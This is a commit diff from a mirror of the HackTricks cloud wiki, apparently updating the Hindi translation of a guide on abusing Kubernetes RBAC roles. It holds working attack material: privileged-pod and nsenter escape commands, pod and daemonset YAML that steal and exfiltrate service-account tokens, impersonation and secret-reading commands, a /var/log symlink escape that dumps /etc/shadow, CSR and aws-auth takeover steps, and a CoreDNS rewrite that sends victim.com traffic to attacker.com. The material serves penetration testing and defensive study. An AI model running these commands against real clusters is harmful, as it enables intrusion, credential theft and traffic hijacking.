mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 15:05:44 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
Translator
@@ -3,21 +3,21 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
यहाँ आप कुछ संभावित खतरनाक Roles और ClusterRoles कॉन्फ़िगरेशन पा सकते हैं।\
|
||||
याद रखें कि आप सभी समर्थित संसाधनों को `kubectl api-resources` के साथ प्राप्त कर सकते हैं।
|
||||
याद रखें कि आप `kubectl api-resources` के साथ सभी समर्थित संसाधनों को प्राप्त कर सकते हैं।
|
||||
|
||||
## **विशेषाधिकार वृद्धि**
|
||||
|
||||
इसका मतलब है **क्लस्टर के भीतर एक अलग प्रिंसिपल** तक **विभिन्न विशेषाधिकारों** के साथ पहुँच प्राप्त करना (क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, Kubernetes में विशेषाधिकार बढ़ाने के लिए मूल रूप से **4 मुख्य तकनीकें** हैं:
|
||||
|
||||
- अन्य उपयोगकर्ता/समूह/SA को **प्रतिनिधित्व** करने में सक्षम होना जिनके पास Kubernetes क्लस्टर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं
|
||||
- **पॉड्स बनाना/पैच करना/कार्यक्रम चलाना** जहाँ आप **बेहतर विशेषाधिकार वाले SAs** को खोज या संलग्न कर सकते हैं
|
||||
- **गुप्त जानकारी पढ़ने** में सक्षम होना क्योंकि SAs के टोकन गुप्त जानकारी के रूप में संग्रहीत होते हैं
|
||||
- एक कंटेनर से **नोड पर भागने** में सक्षम होना, जहाँ आप नोड पर चल रहे कंटेनरों के सभी गुप्त जानकारी, नोड के क्रेडेंशियल्स, और नोड के क्लाउड में चलने के दौरान अनुमतियों को चुरा सकते हैं (यदि कोई हो)
|
||||
- एक पाँचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है **पॉड में पोर्ट-फॉरवर्ड** चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं।
|
||||
- अन्य उपयोगकर्ता/समूह/एसए को **प्रतिनिधित्व** करने में सक्षम होना जिनके पास क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं
|
||||
- **पॉड्स बनाना/पैच करना/एक्सेक्यूट करना** जहाँ आप **बेहतर विशेषाधिकार वाले एसए** को खोज या संलग्न कर सकते हैं
|
||||
- **गुप्त पढ़ने** में सक्षम होना क्योंकि एसए टोकन गुप्त के रूप में संग्रहीत होते हैं
|
||||
- एक कंटेनर से **नोड पर भागने** में सक्षम होना, जहाँ आप नोड पर चल रहे कंटेनरों के सभी गुप्त, नोड की क्रेडेंशियल्स, और नोड के क्लाउड में चलने के दौरान की अनुमतियों को चुरा सकते हैं (यदि कोई हो)
|
||||
- एक पांचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है **पॉड में पोर्ट-फॉरवर्ड** चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं।
|
||||
|
||||
### किसी भी संसाधन या क्रिया (Wildcard) तक पहुँच
|
||||
### किसी भी संसाधन या क्रिया (वाइल्डकार्ड) तक पहुँच
|
||||
|
||||
**वाइल्डकार्ड (\*) किसी भी संसाधन पर किसी भी क्रिया के लिए अनुमति देता है**। इसका उपयोग प्रशासकों द्वारा किया जाता है। एक ClusterRole के भीतर इसका मतलब है कि एक हमलावर क्लस्टर में किसी भी namespace का दुरुपयोग कर सकता है।
|
||||
**वाइल्डकार्ड (\*) किसी भी क्रिया के साथ किसी भी संसाधन पर अनुमति देता है**। इसका उपयोग प्रशासकों द्वारा किया जाता है। एक ClusterRole के भीतर इसका मतलब है कि एक हमलावर क्लस्टर में किसी भीnamespace का दुरुपयोग कर सकता है।
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -31,7 +31,7 @@ verbs: ["*"]
|
||||
```
|
||||
### किसी विशेष क्रिया के साथ किसी भी संसाधन तक पहुँचें
|
||||
|
||||
RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम प्रस्तुत करती हैं:
|
||||
RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम उत्पन्न करती हैं:
|
||||
|
||||
1. **`create`:** किसी भी क्लस्टर संसाधन को बनाने की क्षमता प्रदान करता है, जिससे विशेषाधिकार वृद्धि का जोखिम होता है।
|
||||
2. **`list`:** सभी संसाधनों की सूची बनाने की अनुमति देता है, संभावित रूप से संवेदनशील डेटा लीक कर सकता है।
|
||||
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
एक हमलावर जिसके पास एक पोड बनाने की अनुमति है, वह पोड में एक विशेषाधिकार प्राप्त सेवा खाता संलग्न कर सकता है और सेवा खाते की पहचान चुराने के लिए टोकन चुरा सकता है। प्रभावी रूप से इसके लिए विशेषाधिकार बढ़ाना
|
||||
एक हमलावर जिसके पास एक पोड बनाने की अनुमति है, वह पोड में एक विशेषाधिकार प्राप्त सेवा खाता संलग्न कर सकता है और सेवा खाते की पहचान चुराने के लिए टोकन चुरा सकता है। प्रभावी रूप से इसके लिए विशेषाधिकार बढ़ाना।
|
||||
|
||||
`bootstrap-signer` सेवा खाते का टोकन चुराने और इसे हमलावर को भेजने वाले पोड का उदाहरण:
|
||||
```yaml
|
||||
@@ -123,11 +123,9 @@ kubectl --token $token create -f mount_root.yaml
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
अब जब आप नोड पर भाग सकते हैं, तो पोस्ट-एक्सप्लॉइटेशन तकनीकों की जांच करें:
|
||||
|
||||
#### Stealth
|
||||
|
||||
आप शायद **stealthier** होना चाहते हैं, निम्नलिखित पृष्ठों में आप देख सकते हैं कि यदि आप पिछले टेम्पलेट में उल्लेखित कुछ विशेषाधिकारों को सक्षम करके एक पॉड बनाते हैं तो आप क्या एक्सेस कर पाएंगे:
|
||||
आप शायद **stealthier** होना चाहेंगे, निम्नलिखित पृष्ठों में आप देख सकते हैं कि यदि आप पिछले टेम्पलेट में उल्लेखित कुछ विशेषाधिकारों को सक्षम करके एक पोड बनाते हैं तो आप क्या एक्सेस कर पाएंगे:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,14 +134,14 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_आप पिछले विशेषाधिकार प्राप्त पॉड कॉन्फ़िगरेशन बनाने/दुरुपयोग करने के उदाहरण [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) में पा सकते हैं।_
|
||||
_आप पिछले विशेषाधिकार प्राप्त पोड कॉन्फ़िगरेशन बनाने/दुरुपयोग करने के उदाहरण [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) में पा सकते हैं।_
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
यदि आप **create** कर सकते हैं एक **pod** (और वैकल्पिक रूप से एक **service account**) तो आप **cloud environment में विशेषाधिकार प्राप्त करने में सक्षम हो सकते हैं** एक पॉड या सेवा खाते को **cloud roles सौंपकर** और फिर इसे एक्सेस करके।\
|
||||
इसके अलावा, यदि आप **host network namespace** के साथ एक **pod** बना सकते हैं, तो आप **node** इंस्टेंस की **IAM** भूमिका **चुरा** सकते हैं।
|
||||
यदि आप **create** कर सकते हैं एक **pod** (और वैकल्पिक रूप से एक **service account**) तो आप **cloud environment में विशेषाधिकार प्राप्त करने** में सक्षम हो सकते हैं **एक पोड या सेवा खाते को क्लाउड भूमिकाएँ सौंपकर** और फिर इसे एक्सेस करके।\
|
||||
इसके अलावा, यदि आप **host network namespace** के साथ एक **pod** बना सकते हैं तो आप **node** इंस्टेंस की IAM भूमिका **चुरा** सकते हैं।
|
||||
|
||||
अधिक जानकारी के लिए जांचें:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
@@ -151,9 +149,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
इन अनुमतियों का दुरुपयोग करके **एक नया pod** बनाना और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करना संभव है।
|
||||
इन अनुमतियों का दुरुपयोग करके **एक नया पोड** बनाना और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करना संभव है।
|
||||
|
||||
निम्नलिखित yaml **एक daemonset बनाता है और पॉड के अंदर SA के टोकन को एक्सफिल्ट्रेट करता है:**
|
||||
निम्नलिखित yaml **एक डेमनसेट बनाता है और पोड के अंदर SA के टोकन को एक्सफिल्ट्रेट करता है:**
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -197,21 +195,26 @@ path: /
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> डिफ़ॉल्ट रूप से, कमांड पॉड के पहले कंटेनर में निष्पादित होता है। `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` के साथ **कंटेनर में सभी पॉड्स प्राप्त करें** और फिर **कंटेनर को इंगित करें** जहां आप इसे निष्पादित करना चाहते हैं `kubectl exec -it <pod_name> -c <container_name> -- sh` के साथ।
|
||||
|
||||
यदि यह एक डिस्ट्रोलैस कंटेनर है, तो आप कंटेनरों की जानकारी प्राप्त करने के लिए **शेल बिल्ट-इन्स** का उपयोग करने या अपने स्वयं के उपकरण जैसे **busybox** को अपलोड करने का प्रयास कर सकते हैं: **`kubectl cp </path/local/file> <podname>:</path/in/container>`** का उपयोग करके।
|
||||
|
||||
### port-forward
|
||||
|
||||
यह अनुमति **एक स्थानीय पोर्ट को निर्दिष्ट पॉड में एक पोर्ट पर अग्रेषित करने** की अनुमति देती है। इसका उद्देश्य पॉड के अंदर चल रहे अनुप्रयोगों को आसानी से डिबग करना है, लेकिन एक हमलावर इसका दुरुपयोग करके पॉड के अंदर दिलचस्प (जैसे DBs) या कमजोर अनुप्रयोगों (वेब?) तक पहुंच प्राप्त कर सकता है:
|
||||
```
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें **hosts `/var/log/` directory mounted** है, तो आप **container से escape कर सकते हैं**।\
|
||||
यह मूल रूप से इस कारण है कि जब **Kube-API एक container के logs प्राप्त करने की कोशिश करता है** (using `kubectl logs <pod>`), तो यह **pod के `0.log`** फ़ाइल को **Kubelet** सेवा के `/logs/` endpoint का उपयोग करके अनुरोध करता है।\
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें **hosts `/var/log/` directory mounted** है, तो आप **container से बाहर निकल सकते हैं**।\
|
||||
यह मूल रूप से इस कारण है कि जब **Kube-API एक container के logs प्राप्त करने की कोशिश करता है** (using `kubectl logs <pod>`), तो यह **पॉड के `0.log`** फ़ाइल को **Kubelet** सेवा के `/logs/` endpoint का उपयोग करके अनुरोध करता है।\
|
||||
Kubelet सेवा `/logs/` endpoint को उजागर करती है जो मूल रूप से **container के `/var/log` filesystem को उजागर कर रही है**।
|
||||
|
||||
इसलिए, एक हमलावर जिसके पास **container के /var/log/ folder में लिखने की पहुँच है** वह इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है:
|
||||
|
||||
- अपने container के `0.log` फ़ाइल को संशोधित करना (जो आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित होता है) ताकि यह एक **symlink हो जो `/etc/shadow`** की ओर इशारा करे। फिर, आप निम्नलिखित करके hosts shadow फ़ाइल को exfiltrate कर सकेंगे:
|
||||
- अपने container के `0.log` फ़ाइल को संशोधित करना (जो आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित होता है) ताकि यह **`/etc/shadow`** की ओर इशारा करने वाला एक **symlink** बन जाए। फिर, आप निम्नलिखित करके hosts shadow फ़ाइल को exfiltrate कर सकेंगे:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -219,7 +222,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- यदि हमलावर के पास **`nodes/log` पढ़ने की अनुमति वाले किसी भी प्रिंसिपल पर नियंत्रण है**, तो वह बस `/host-mounted/var/log/sym` में `/` के लिए एक **symlink** बना सकता है और जब **`https://<gateway>:10250/logs/sym/` तक पहुंचता है, तो वह होस्ट के रूट** फ़ाइल सिस्टम को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुंच मिल सकती है)।
|
||||
- यदि हमलावर के पास **`nodes/log`** पढ़ने की **अनुमतियाँ** हैं, तो वह बस `/host-mounted/var/log/sym` में `/` के लिए एक **symlink** बना सकता है और जब **`https://<gateway>:10250/logs/sym/`** पर पहुँचता है, तो वह होस्ट की रूट फ़ाइल प्रणाली को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुँच मिल सकती है)।
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -247,7 +250,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
जो पिछले वाले जैसे भागने को रोकने के लिए था, एक hostPath माउंट का उपयोग करने के बजाय, एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके कंटेनर में लिखने योग्य पहुंच के साथ एक होस्ट फ़ोल्डर को माउंट करें:
|
||||
जो पिछले जैसे भागने को रोकने के लिए था, एक hostPath माउंट का उपयोग करने के बजाय, एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके कंटेनर में लिखने योग्य पहुंच के साथ एक होस्ट फ़ोल्डर को माउंट करें:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -295,9 +298,9 @@ name: task-pv-storage-vol
|
||||
```
|
||||
### **विशिष्ट खातों का अनुकरण करना**
|
||||
|
||||
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
|
||||
एक [**उपयोगकर्ता अनुकरण**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) विशेषता के साथ, एक हमलावर एक विशिष्ट खाता अनुकरण कर सकता है।
|
||||
|
||||
Just use the parameter `--as=<username>` in the `kubectl` command to impersonate a user, or `--as-group=<group>` to impersonate a group:
|
||||
बस `kubectl` कमांड में `--as=<username>` पैरामीटर का उपयोग करें एक उपयोगकर्ता का अनुकरण करने के लिए, या `--as-group=<group>` का उपयोग करें एक समूह का अनुकरण करने के लिए:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -310,15 +313,15 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Secrets की सूची बनाना
|
||||
### Listing Secrets
|
||||
|
||||
**Secrets की सूची बनाने की अनुमति एक हमलावर को वास्तव में secrets पढ़ने की अनुमति दे सकती है** REST API endpoint तक पहुँचकर:
|
||||
**गुप्त सूचनाओं की सूची बनाने की अनुमति एक हमलावर को वास्तव में गुप्त सूचनाओं को पढ़ने की अनुमति दे सकती है** REST API एंडपॉइंट तक पहुँचते हुए:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Creating and Reading Secrets
|
||||
|
||||
Kubernetes के एक विशेष प्रकार का सीक्रेट है **kubernetes.io/service-account-token** जो serviceaccount टोकन को स्टोर करता है।
|
||||
Kubernetes के एक विशेष प्रकार के सीक्रेट **kubernetes.io/service-account-token** होते हैं जो serviceaccount टोकन को स्टोर करते हैं।
|
||||
यदि आपके पास सीक्रेट बनाने और पढ़ने की अनुमति है, और आप serviceaccount का नाम भी जानते हैं, तो आप निम्नलिखित तरीके से एक सीक्रेट बना सकते हैं और फिर इससे पीड़ित serviceaccount का टोकन चुरा सकते हैं:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
@@ -380,17 +383,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
```
|
||||
ध्यान दें कि यदि आपको किसी विशेष namespace में secrets बनाने और पढ़ने की अनुमति है, तो पीड़ित serviceaccount भी उसी namespace में होना चाहिए।
|
||||
|
||||
### एक secret पढ़ना – token IDs का brute-forcing
|
||||
### एक secret पढ़ना – टोकन IDs का ब्रूट-फोर्सिंग
|
||||
|
||||
जब एक हमलावर के पास पढ़ने की अनुमति वाला token होता है, तो उसे इसका उपयोग करने के लिए secret का सही नाम चाहिए होता है, जबकि व्यापक _**secrets की सूची**_ विशेषता के विपरीत, फिर भी कुछ कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट service accounts को सूचीबद्ध किया जा सकता है, प्रत्येक एक secret से संबंधित होता है। इन secrets का नाम संरचना होती है: एक स्थिर उपसर्ग के बाद एक यादृच्छिक पांच-चरित्र अल्फ़ान्यूमेरिक token (कुछ वर्णों को छोड़कर) [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) के अनुसार।
|
||||
जब एक हमलावर के पास पढ़ने की अनुमति वाला एक टोकन होता है, तो उसे इसका उपयोग करने के लिए secret का सही नाम चाहिए होता है, जबकि व्यापक _**secrets की सूची**_ विशेषता के विपरीत, अभी भी कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट service accounts को सूचीबद्ध किया जा सकता है, प्रत्येक एक secret से संबंधित होता है। इन secrets का नाम संरचना होती है: एक स्थिर उपसर्ग उसके बाद एक यादृच्छिक पांच-चरित्र अल्फ़ान्यूमेरिक टोकन (कुछ वर्णों को छोड़कर) [स्रोत कोड](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) के अनुसार।
|
||||
|
||||
यह token एक सीमित 27-चरित्र सेट (`bcdfghjklmnpqrstvwxz2456789`) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में token का अनुमान लगाने के लिए एक brute-force हमला कर सकता है, जो संवेदनशील service accounts तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना पैदा कर सकता है।
|
||||
टोकन एक सीमित 27-चरित्र सेट (`bcdfghjklmnpqrstvwxz2456789`) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में टोकन का अनुमान लगाने के लिए एक ब्रूट-फोर्स हमले को निष्पादित कर सकता है, जो संवेदनशील service accounts तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना पैदा कर सकता है।
|
||||
|
||||
### प्रमाणपत्र हस्ताक्षर अनुरोध
|
||||
|
||||
यदि आपके पास resource `certificatesigningrequests` में **`create`** क्रियाएँ हैं (या कम से कम `certificatesigningrequests/nodeClient` में)। आप **एक नए node का** नया CeSR **बना सकते हैं।**
|
||||
यदि आपके पास संसाधन `certificatesigningrequests` में **`create`** क्रियाएँ हैं (या कम से कम `certificatesigningrequests/nodeClient` में)। आप एक **नए नोड** का नया CeSR **बना** सकते हैं।
|
||||
|
||||
[दस्तावेज़ के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत करना संभव है](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), इसलिए इस मामले में आपको **अतिरिक्त अनुमतियों की आवश्यकता नहीं है**। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने में सक्षम होना चाहिए, जिसका अर्थ है `certificatesigningrequests/approval` में अपडेट करना और `signers` में `approve` करना resourceName `<signerNameDomain>/<signerNamePath>` या `<signerNameDomain>/*` के साथ।
|
||||
[दस्तावेज़ के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत करना संभव है](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), इसलिए इस मामले में आपको **अतिरिक्त अनुमतियों की आवश्यकता नहीं है**। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने में सक्षम होना चाहिए, जिसका अर्थ है `certificatesigningrequests/approval` में अपडेट करना और `signers` में `approve` करना, जिसमें resourceName `<signerNameDomain>/<signerNamePath>` या `<signerNameDomain>/*` हो।
|
||||
|
||||
एक **भूमिका का उदाहरण** जिसमें सभी आवश्यक अनुमतियाँ हैं:
|
||||
```yaml
|
||||
@@ -423,18 +426,18 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
तो, नए नोड CSR के अनुमोदित होने के साथ, आप नोड्स की विशेष अनुमतियों का **दुरुपयोग** कर सकते हैं ताकि **गुप्त जानकारी चुराई जा सके** और **अधिकार बढ़ाए जा सकें**।
|
||||
तो, नए नोड CSR के स्वीकृत होने के साथ, आप नोड्स की विशेष अनुमतियों का **दुरुपयोग** कर सकते हैं ताकि **गुप्त जानकारी चुराई** जा सके और **अधिकार बढ़ाए** जा सकें।
|
||||
|
||||
[**इस पोस्ट**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) और [**इस एक**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को **स्वचालित हस्ताक्षर** के साथ कॉन्फ़िगर किया गया है और इसका **दुरुपयोग** नए K8s नोड के क्रेडेंशियल्स उत्पन्न करने के लिए किया गया है और फिर उन क्रेडेंशियल्स का दुरुपयोग करके गुप्त जानकारी चुराकर अधिकार बढ़ाए जाते हैं।\
|
||||
[**इस पोस्ट**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) और [**इस एक**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को **स्वचालित हस्ताक्षर** के साथ कॉन्फ़िगर किया गया है और इसका दुरुपयोग नए K8s नोड के क्रेडेंशियल्स उत्पन्न करने के लिए किया गया है और फिर उन पर अधिकार बढ़ाने के लिए गुप्त जानकारी चुराई गई है।\
|
||||
यदि आपके पास **उल्लेखित अधिकार हैं तो आप वही कर सकते हैं**। ध्यान दें कि पहला उदाहरण उस त्रुटि को बायपास करता है जो नए नोड को कंटेनरों के अंदर गुप्त जानकारी तक पहुँचने से रोकता है क्योंकि **नोड केवल उन कंटेनरों के गुप्त जानकारी तक पहुँच सकता है जो उस पर माउंट किए गए हैं।**
|
||||
|
||||
इसका बायपास करने का तरीका बस यह है कि **उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहां दिलचस्प गुप्त जानकारी वाला कंटेनर माउंट किया गया है** (लेकिन पहले पोस्ट में इसे कैसे करना है, यह केवल जांचें):
|
||||
इसका बायपास करने का तरीका बस यह है कि **उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहां दिलचस्प गुप्त जानकारी वाला कंटेनर माउंट किया गया है** (लेकिन पहले पोस्ट में इसे करने का तरीका देखें):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
EKS (AWS में होना चाहिए) क्लस्टरों पर kube-system namespace में **`configmaps`** को संशोधित करने वाले प्रिंसिपल **aws-auth** configmap को ओवरराइट करके क्लस्टर एडमिन विशेषाधिकार प्राप्त कर सकते हैं।\
|
||||
EKS (AWS में होना आवश्यक) क्लस्टरों पर kube-system namespace में **`configmaps`** को संशोधित करने वाले प्रिंसिपल **aws-auth** configmap को ओवरराइट करके क्लस्टर एडमिन विशेषाधिकार प्राप्त कर सकते हैं।\
|
||||
आवश्यक क्रियाएँ **`update`** और **`patch`** हैं, या यदि configmap नहीं बनाया गया है तो **`create`**:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -475,59 +478,99 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> आप **`aws-auth`** का उपयोग **स्थायीता** के लिए **अन्य खातों** के उपयोगकर्ताओं को पहुंच देने के लिए कर सकते हैं।
|
||||
> आप **`aws-auth`** का उपयोग **persistence** के लिए कर सकते हैं जिससे **अन्य खातों** के उपयोगकर्ताओं को पहुंच मिलती है।
|
||||
>
|
||||
> हालाँकि, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **एक अलग खाते से काम नहीं करता**। लेकिन वास्तव में `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` काम करता है यदि आप केवल नाम के बजाय क्लस्टर का ARN डालते हैं।\
|
||||
> `kubectl` को काम करने के लिए, बस सुनिश्चित करें कि **शिकारियों का kubeconfig** **कॉन्फ़िगर** किया गया है और aws exec args में `--profile other_account_role` जोड़ें ताकि kubectl अन्य खाते के प्रोफ़ाइल का उपयोग करके टोकन प्राप्त कर सके और AWS से संपर्क कर सके।
|
||||
> `kubectl` को काम करने के लिए, बस सुनिश्चित करें कि **victims kubeconfig** को **configure** किया गया है और aws exec args में `--profile other_account_role` जोड़ें ताकि kubectl अन्य खाते के प्रोफाइल का उपयोग करके टोकन प्राप्त कर सके और AWS से संपर्क कर सके।
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
यदि आपके पास `kube-system` namespace में **`coredns` configmap** को संशोधित करने की अनुमति है, तो आप पता डोमेन को संशोधित कर सकते हैं ताकि आप MitM हमले कर सकें **संवेदनशील जानकारी चुराने या दुर्भावनापूर्ण सामग्री इंजेक्ट करने** के लिए।
|
||||
|
||||
आवश्यक क्रियाएँ **`update`** और **`patch`** हैं **`coredns`** configmap (या सभी config maps) पर।
|
||||
|
||||
एक नियमित **coredns फ़ाइल** में कुछ इस तरह का डेटा होता है:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
.:53 {
|
||||
log
|
||||
errors
|
||||
health {
|
||||
lameduck 5s
|
||||
}
|
||||
ready
|
||||
kubernetes cluster.local in-addr.arpa ip6.arpa {
|
||||
pods insecure
|
||||
fallthrough in-addr.arpa ip6.arpa
|
||||
ttl 30
|
||||
}
|
||||
prometheus :9153
|
||||
hosts {
|
||||
192.168.49.1 host.minikube.internal
|
||||
fallthrough
|
||||
}
|
||||
forward . /etc/resolv.conf {
|
||||
max_concurrent 1000
|
||||
}
|
||||
cache 30
|
||||
loop
|
||||
reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
एक हमलावर इसे डाउनलोड कर सकता है `kubectl get configmap coredns -n kube-system -o yaml` चलाकर, इसे संशोधित कर सकता है जैसे `rewrite name victim.com attacker.com` जोड़कर ताकि जब भी `victim.com` तक पहुंचा जाए, वास्तव में `attacker.com` वह डोमेन हो जो पहुंचा जाएगा। और फिर इसे लागू करने के लिए `kubectl apply -f poison_dns.yaml` चलाएं।
|
||||
|
||||
एक और विकल्प है कि बस फ़ाइल को संपादित करें `kubectl edit configmap coredns -n kube-system` चलाकर और परिवर्तन करें।
|
||||
|
||||
### GKE में वृद्धि करना
|
||||
|
||||
GCP प्रिंसिपलों को K8s अनुमतियाँ असाइन करने के **2 तरीके** हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुँचने के लिए क्रेडेंशियल्स एकत्र करने के लिए अनुमति **`container.clusters.get`** की आवश्यकता होती है, या आपको **अपना खुद का kubectl कॉन्फ़िग फ़ाइल** **जनरेट** करने की आवश्यकता होगी (अगले लिंक का पालन करें)।
|
||||
K8s अनुमतियों को GCP प्रिंसिपलों को असाइन करने के **2 तरीके** हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुंचने के लिए **`container.clusters.get`** अनुमति की भी आवश्यकता होती है, या आपको **अपना खुद का kubectl कॉन्फ़िग फ़ाइल** बनानी होगी (अगले लिंक का पालन करें)।
|
||||
|
||||
> [!WARNING]
|
||||
